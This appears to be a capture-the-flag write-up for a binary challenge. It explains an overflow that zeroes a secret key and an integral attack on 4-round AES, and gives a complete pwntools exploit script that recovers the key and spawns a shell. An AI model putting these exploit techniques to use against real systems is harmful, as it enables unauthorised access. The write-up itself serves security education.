We found two methods to solve it.
Use overflow
This is the simpler way by using overflow in the unit test function.
The vulnerability is in systemKTest(sub_2ad8) function. If len(input) == 128, it will override part of systemKey to zero. Use this overflow with systemCheck(sub_2f6c) function, so we can override key to all zero in 5 rounds.
Finally, send 0 as key to get shell.
You can found the code of this part in exp:exp_overflow().
Use AES attack
We found the system test function is an eaiser version of 0ctf2016-people’s-square
By sending the following sample and collect cipher
00 00 00 00 00 … 00
01 00 00 00 00 … 00
02 00 00 00 00 … 00
03 00 00 00 00 … 00
04 00 00 00 00 … 00
..
FE 00 00 00 00 … 00
FF 00 00 00 00 … 00
We can calculate the key then get shell.
You can found the code of this part in exp:exp_aes().
Exp
from pwn import *
from hashlib import md5
context.log_level = 'debug'
def pass_pow(prefix, chash):
sample_space = [chr(i) for i in range(256)]
guess = ""
for i in sample_space:
for j in sample_space:
for k in sample_space:
if md5(prefix+i+j+k).hexdigest() == chash:
guess = ''.join([i, j, k])
break
return guess
ciphertexts = []
sbox = (0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5,
0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,
0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc,
0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a,
0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,
0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b,
0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85,
0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,
0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17,
0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88,
0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c,
0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9,
0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6,
0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,
0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94,
0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68,
0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16)
invsbox = []
for i in range(256):
invsbox.append(sbox.index(i))
def SubBytes(state):
state = [list(c) for c in state]
for i in range(len(state)):
row = state[i]
for j in range(len(row)):
state[i][j] = sbox[state[i][j]]
return state
def InvSubBytes(state):
state = [list(c) for c in state]
for i in range(len(state)):
row = state[i]
for j in range(len(row)):
state[i][j] = invsbox[state[i][j]]
return state
def rowsToCols(state):
cols = []
#convert from row representation to column representation
cols.append([state[0][0], state[1][0], state[2][0], state[3][0]])
cols.append([state[0][1], state[1][1], state[2][1], state[3][1]])
cols.append([state[0][2], state[1][2], state[2][2], state[3][2]])
cols.append([state[0][3], state[1][3], state[2][3], state[3][3]])
return cols
def colsToRows(state):
rows = []
#convert from column representation to row representation
rows.append([state[0][0], state[1][0], state[2][0], state[3][0]])
rows.append([state[0][1], state[1][1], state[2][1], state[3][1]])
rows.append([state[0][2], state[1][2], state[2][2], state[3][2]])
rows.append([state[0][3], state[1][3], state[2][3], state[3][3]])
return rows
###########
# Key schedule functions
###########
# key schedule helper function
def RotWord(word):
r = []
r.append(word[1])
r.append(word[2])
r.append(word[3])
r.append(word[0])
return r
# key schedule helper function
def SubWord(word):
r = []
r.append(sbox[word[0]])
r.append(sbox[word[1]])
r.append(sbox[word[2]])
r.append(sbox[word[3]])
return r
# key schedule helper function
def XorWords(word1, word2):
r = []
for i in range(len(word1)):
r.append(word1[i] ^ word2[i])
return r
def printWord(word):
str = ""
for i in range(len(word)):
str += "{0:02x}".format(word[i])
print str
Rcon = [[0x01,0x00,0x00,0x00], [0x02,0x00,0x00,0x00], [0x04,0x00,0x00,0x00],
[0x08,0x00,0x00,0x00], [0x10,0x00,0x00,0x00], [0x20,0x00,0x00,0x00],
[0x40,0x00,0x00,0x00], [0x80,0x00,0x00,0x00],[0x1B,0x00,0x00,0x00],
[0x36,0x00,0x00,0x00]]
# key is a 4*Nk list of bytes, w is a Nb*(Nr+1) list of words
# since we're doing 4 rounds of AES-128, this means that
# key is 16 bytes and w is 4*(4+1) words
def KeyExpansion(key):
Nk = 4
Nb = 4
Nr = 4
temp = [0,0,0,0]
w=[]
for i in range(Nb*(Nr+1)):
w.append([0,0,0,0])
i = 0
#the first word is the master key
while i<Nk:
w[i] = [key[4*i],key[4*i+1], key[4*i+2], key[4*i+3]]
#printWord(w[i])
i = i+1
i=Nk
while i < (Nb*(Nr+1)):
#print "Round ", i
temp = w[i-1]
#printWord(temp)
if (i % Nk) == 0:
temp = XorWords(SubWord(RotWord(temp)), Rcon[i/Nk-1])
w[i] = XorWords(w[i-Nk], temp)
i = i+ 1
return w
def Shiftrows(state):
state = colsToRows(state)
#move 1
state[1].append(state[1].pop(0))
#move 2
state[2].append(state[2].pop(0))
state[2].append(state[2].pop(0))
#move 3
state[3].append(state[3].pop(0))
state[3].append(state[3].pop(0))
state[3].append(state[3].pop(0))
return rowsToCols(state)
def InvShiftrows(state):
state = colsToRows(state)
#move 1
state[1].insert(0,state[1].pop())
#move 2
state[2].insert(0,state[2].pop())
state[2].insert(0,state[2].pop())
#move 3
state[3].insert(0,state[3].pop())
state[3].insert(0,state[3].pop())
state[3].insert(0,state[3].pop())
return rowsToCols(state)
#converts integer x into a list of bits
#least significant bit is in index 0
def byteToBits(x):
r = []
while x>0:
if (x%2):
r.append(1)
else:
r.append(0)
x = x>>1
#the result should have 8 bits, so pad if necessary
while len(r) < 8:
r.append(0)
return r
#inverse of byteToBits
def bitsToByte(x):
r = 0
for i in range(8):
if x[i] == 1:
r += 2**i
return r
# Galois Multiplication
def galoisMult(a, b):
p = 0
hiBitSet = 0
for i in range(8):
if b & 1 == 1:
p ^= a
hiBitSet = a & 0x80
a <<= 1
if hiBitSet == 0x80:
a ^= 0x1b
b >>= 1
return p % 256
#single column multiplication
def mixColumn(column):
temp = []
for i in range(len(column)):
temp.append(column[i])
column[0] = galoisMult(temp[0],2) ^ galoisMult(temp[3],1) ^ \
galoisMult(temp[2],1) ^ galoisMult(temp[1],3)
column[1] = galoisMult(temp[1],2) ^ galoisMult(temp[0],1) ^ \
galoisMult(temp[3],1) ^ galoisMult(temp[2],3)
column[2] = galoisMult(temp[2],2) ^ galoisMult(temp[1],1) ^ \
galoisMult(temp[0],1) ^ galoisMult(temp[3],3)
column[3] = galoisMult(temp[3],2) ^ galoisMult(temp[2],1) ^ \
galoisMult(temp[1],1) ^ galoisMult(temp[0],3)
return column
def MixColumns(cols):
#cols = rowsToCols(state)
r = [0,0,0,0]
for i in range(len(cols)):
r[i] = mixColumn(cols[i])
return r
def mixColumnInv(column):
temp = []
for i in range(len(column)):
temp.append(column[i])
column[0] = galoisMult(temp[0],0xE) ^ galoisMult(temp[3],0x9) ^ galoisMult(temp[2],0xD) ^ galoisMult(temp[1],0xB)
column[1] = galoisMult(temp[1],0xE) ^ galoisMult(temp[0],0x9) ^ galoisMult(temp[3],0xD) ^ galoisMult(temp[2],0xB)
column[2] = galoisMult(temp[2],0xE) ^ galoisMult(temp[1],0x9) ^ galoisMult(temp[0],0xD) ^ galoisMult(temp[3],0xB)
column[3] = galoisMult(temp[3],0xE) ^ galoisMult(temp[2],0x9) ^ galoisMult(temp[1],0xD) ^ galoisMult(temp[0],0xB)
return column
def InvMixColumns(cols):
#cols = rowsToCols(state)
r = [0,0,0,0]
for i in range(len(cols)):
r[i] = mixColumnInv(cols[i])
return r
#state s, key schedule ks, round r
def AddRoundKey(s,ks,r):
for i in range(len(s)):
for j in range(len(s[i])):
s[i][j] = s[i][j] ^ ks[r*4+i][j]
return s
########
# Encrypt functions
#########
# for rounds 1-3
def oneRound(s, ks, r):
s = SubBytes(s)
s = Shiftrows(s)
s = MixColumns(s)
s = AddRoundKey(s,ks,r)
return s
def oneRoundDecrypt(s, ks, r):
s = AddRoundKey(s,ks,r)
s = InvMixColumns(s)
s = InvShiftrows(s)
s = InvSubBytes(s)
return s
# round 4 (no MixColumn operation)
def finalRound(s, ks, r):
s = SubBytes(s)
s = Shiftrows(s)
s = AddRoundKey(s,ks,r)
return s
def finalRoundDecrypt(s, ks, r):
s = AddRoundKey(s,ks,r)
s = InvShiftrows(s)
s = InvSubBytes(s)
return s
# Put it all together
def encrypt4rounds(message, key):
s = []
#convert plaintext to state
s.append(message[:4])
s.append(message[4:8])
s.append(message[8:12])
s.append(message[12:16])
#compute key schedule
ks = KeyExpansion(key)
#apply whitening key
s = AddRoundKey(s,ks,0)
c = oneRound(s, ks, 1)
c = oneRound(c, ks, 2)
c = oneRound(c, ks, 3)
c = finalRound(c, ks, 4)
#convert back to 1d list
output = []
for i in range(len(c)):
for j in range(len(c[i])):
output.append(c[i][j])
return output
def swapRows(rows):
result = []
for i in range(4):
for j in range(4):
result.append(rows[j*4+i])
return result
def decrypt4rounds(message, key):
s = []
#convert plaintext to state
s.append(message[:4])
s.append(message[4:8])
s.append(message[8:12])
s.append(message[12:16])
#compute key schedule
ks = KeyExpansion(key)
#apply whitening key
s = finalRoundDecrypt(s, ks, 4)
c = oneRoundDecrypt(s, ks, 3)
c = oneRoundDecrypt(c, ks, 2)
c = oneRoundDecrypt(c, ks, 1)
c = AddRoundKey(c,ks,0)
#convert back to 1d list
output = []
for i in range(len(c)):
for j in range(len(c[i])):
output.append(c[i][j])
return output
#########################
# Attack code goes here #
#########################
def backup(ct, byteGuess, byteIndex):
# We just need to check sums
# There is no mixColumns in the last round, so skip it.
# shiftRows just changes the byte's position. We don't care, so skip it.
# All we need is a single xor for the guessed byte, and InvSubBytes
t = ct[byteIndex] ^ byteGuess
return invsbox[t]
def integrate(index):
if len(ciphertexts) != 256:
print "ERROR"
potential = []
for candidateByte in range(256):
sum = 0
for ciph in ciphertexts:
oneRoundDecr = backup(ciph, candidateByte, index)
sum ^= oneRoundDecr
if sum == 0:
potential.append(candidateByte)
return potential
from itertools import product
def integral():
candidates = []
for i in range(16):
candidates.append(integrate(i))
print 'candidates', candidates
for roundKey in product(*candidates):
masterKey = round2master(roundKey)
plain = ''.join(chr(c) for c in decrypt4rounds(ciphertexts[1], masterKey))
if '\0\0\0\0' in plain:
print 'solved', masterKey
return masterKey
# Calculate the master key candidate from the final round key candidate
def round2master(rk):
Nr=4
Nk=4
Nb=4
w = []
for i in range(Nb*(Nr+1)):
w.append([0,0,0,0])
i=0
while i<Nk:
w[i] = [rk[4*i],rk[4*i+1], rk[4*i+2], rk[4*i+3]]
i = i+1
j = Nk
while j < Nb*(Nr+1):
if (j%Nk) == 0:
w[j][0] = w[j-Nk][0] ^ sbox[w[j-1][1] ^ w[j-2][1]] ^ Rcon[Nr - j/Nk][0]
for i in range(1,4):
w[j][i] = w[j-Nk][i] ^ sbox[w[j-1][(i+1) % 4] ^ w[j-2][(i+1) % 4]]
else:
w[j] = XorWords(w[j-Nk], w[j-Nk-1])
j = j+1
m = []
for i in range(16,20):
for j in range(4):
m.append(w[i][j])
return m
######################
# Printing functions #
######################
def printState(s):
print "State:"
for i in range(len(s)):
row = s[i]
rowstring = ""
for j in range(len(row)):
rowstring += "{0:02x} ".format(row[j])
print rowstring
print "\n"
def printKey(ks):
for i in range(len(ks)):
row = ks[i]
rowstring = ""
for j in range(len(row)):
#rowstring += "{0:02x} ".format(row[j])
rowstring += "{0:4} ".format(row[j])
print rowstring
print "\n"
def exp_aes(p):
p.recvuntil('[+]Proof-Your-Heart:')
prefix = p.recv(10).decode('hex')
chash = p.recv(33)[1:]
guess = pass_pow(prefix, chash)
p.sendline(guess.encode('hex'))
p.sendlineafter('[+]', '1')
p.sendlineafter('[+]', '1')
global ciphertexts
for i in range(256):
p.sendlineafter('[+]', '1')
p.sendlineafter('[+]', '3')
p.clean()
p.sendline('%02x000000000000000000000000000000' % i)
p.recvuntil('[+]')
ret = p.recvline().strip()
if len(ret) == 35:
ret = ret[3:]
assert len(ret) == 32
ciphertexts.append(ret)
ciphertexts = [[ord(c) for c in x.decode('hex')] for x in ciphertexts]
p.sendlineafter('[+]', '1')
p.sendlineafter('[+]', '2')
sleep(0.1)
secret = p.recv(35)[3:].decode('hex')
key = integral()
secret = [ord(c) for c in secret]
secret = decrypt4rounds(secret, key)
p.sendlineafter('[+]', '1')
p.sendlineafter('[+]', '5')
p.sendline(''.join(chr(c) for c in secret).encode('hex'))
def exp_overflow(p):
p.recvuntil('[+]Proof-Your-Heart:')
prefix = p.recv(10).decode('hex')
chash = p.recv(33)[1:]
guess = pass_pow(prefix, chash)
p.sendline(guess.encode('hex'))
p.sendlineafter('[+]', '2')
p.sendlineafter('[+]', '1')
for i in range(5):
p.sendlineafter('[+]', '2')
p.sendlineafter('[+]', '3')
p.sendlineafter('[+]', 'a'*128)
p.recv(3)
p.sendlineafter('[+]', '2')
p.sendlineafter('[+]', '6')
p.recvuntil('[+]')
p.recvuntil('[+]')
p.recvuntil('[+]')
p.sendlineafter('[+]', '2')
p.sendlineafter('[+]', '5')
p.recv(3)
p.sendlineafter('[+]', '0'*128)
if __name__ == '__main__':
p = process('./machine')
exp_aes(p)
# exp_overflow(p)
p.interactive()